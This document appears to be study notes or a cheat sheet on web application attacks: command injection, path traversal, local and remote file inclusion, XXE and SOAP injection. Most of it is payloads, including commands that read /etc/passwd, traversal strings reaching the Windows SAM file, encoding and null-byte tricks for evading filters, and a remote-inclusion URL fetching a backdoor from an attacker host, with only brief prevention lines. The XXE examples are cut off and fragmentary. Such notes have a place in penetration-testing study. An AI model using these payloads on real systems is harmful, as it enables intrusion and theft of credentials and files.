[ back-end components ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Serundeng Sapi - Web Application Security ~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[RCE]
[*] xamples directly via Perl, via ASP :
pipe |, and &&, or ||, ;, `command` common metacharacters
[###] via Dynamic Execution (PHP,Perl eval() or ASP Execute()):
;system("cat /etc/passwd")
;echo file_get_contents('/etc/passwd')
[###] finding:
causing delays the easiest way:
||ping -i 30 localhost; x||ping -n 30 localhost &
`ping localhost`
%0a ping -i 30 localhost %0a
...
out-of-band channels. TFTP to copy tools up to the server. netcat or telnet. mail...
<> can redirect the output of a command to a file
nslookup [script] > /executable/folder/
**server can't find [script]: NXDOMAIN
the markup within the injected script is executed.
$IFS in Unix-based is a white space. Useful in filters.
phpinfo() retrive conf details of the PHP environment
[###] prevention: block metacharacters and whitelists
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Serundeng Sapi - Web Application Security ~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[ file path,LFI,RFI ]
[###] path traversal vulns:
strace/ltrace are used to monitor filesystem activities
forward and backward slashes in Windows, only backward for UNIX (backend system called)
redundant traversal sequences are tolerated
>> ../../../../../../../../../windows/win.ini (readable for everyone files)
>> ../../../../../../../../../tmp
>> ../../../../../../../../../../../../windows/system32/config/sam (noone readable)
to test if it is being processed in the response.
test: filename=foo/bar/../file.txt (even if bar does not exist)
[*] simple circumvention:
(1) encode :
[+++] both slashes [+++]
>>> url-encode:dot %2e, / %2f, \ %5c
>>> 16-bit Unicode encoding: dot %u0023, / %u2215, \ %u2216
>>> Double URL encoding: dot %252e, %252f, %252f
>>> Overlong UTF-8 Unicode encoding: example: dot %c0%2e, %e040%ae, %c0ae
(2) if the filter is not applied recursively: ....//, ....\/, ..../\, ....\\
(3) if filetype permitted is only jpg: ../../../../boot.ini%00.jpg
applications may permit strings containing null bytes but fs will truncate.
../../../boot.ini%00 if .jpg is being added
(4) filename starts with dir: dir/../../../etc/passwd
(5) sometimes is useful to be redundant for obfuscation/hashing schemes 3 to 4bytes(base64 scheme): ./
[*] loot: password files, configuration files, include files db creds, data sources(db and xml), source code server-executable pages in search of bugs, log files(users and tokens)
write access: write to startup folders, in.ftpd and the likewise for next connections, write scripts and call them.
[*] prevention: chrooted filesystems, logical volumes mounted, java.io.File object and System.Io.Path.GetFullPath in ASP.NET
[###] file inclusion vulns:
Include files in scripting languages are put in the invoker as it was originally there and executed. PHP is specially sensible:
RFI >>> https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
LFI >>> server-executable files that have sensitive info, effects or pull static resources that are typically displayed in the response.
[*] finding: in languages and locations...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Serundeng Sapi - Web Application Security ~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[ xml interpreters injection ]
between browser and front-end application server
between back-end application components like soap
[****] xml external entity (XXE) injection.
]>
[****] (in the local fs)
]>
&xxe;
[****] (in the network)
]>
&xxe;
[###] vectors:
[*] proxy for retrieving info from internal servers
[*] exploit back-end components
[*] test open ports internal network
[*] cause denial of service: ]>
[###] soap (simple object access protocol) services:
[*] simple injection if it takes the first entry:
FromAccount=18281008&Amount=1430True
1430&ToAccount=08447656&Submit=Submit
[*] using a comment to erase an element:
FromAccount=18281008&Amount=1430True
08447656&Submit=Submit
[###] commenting the rest of the xml is not useful if it is not closed: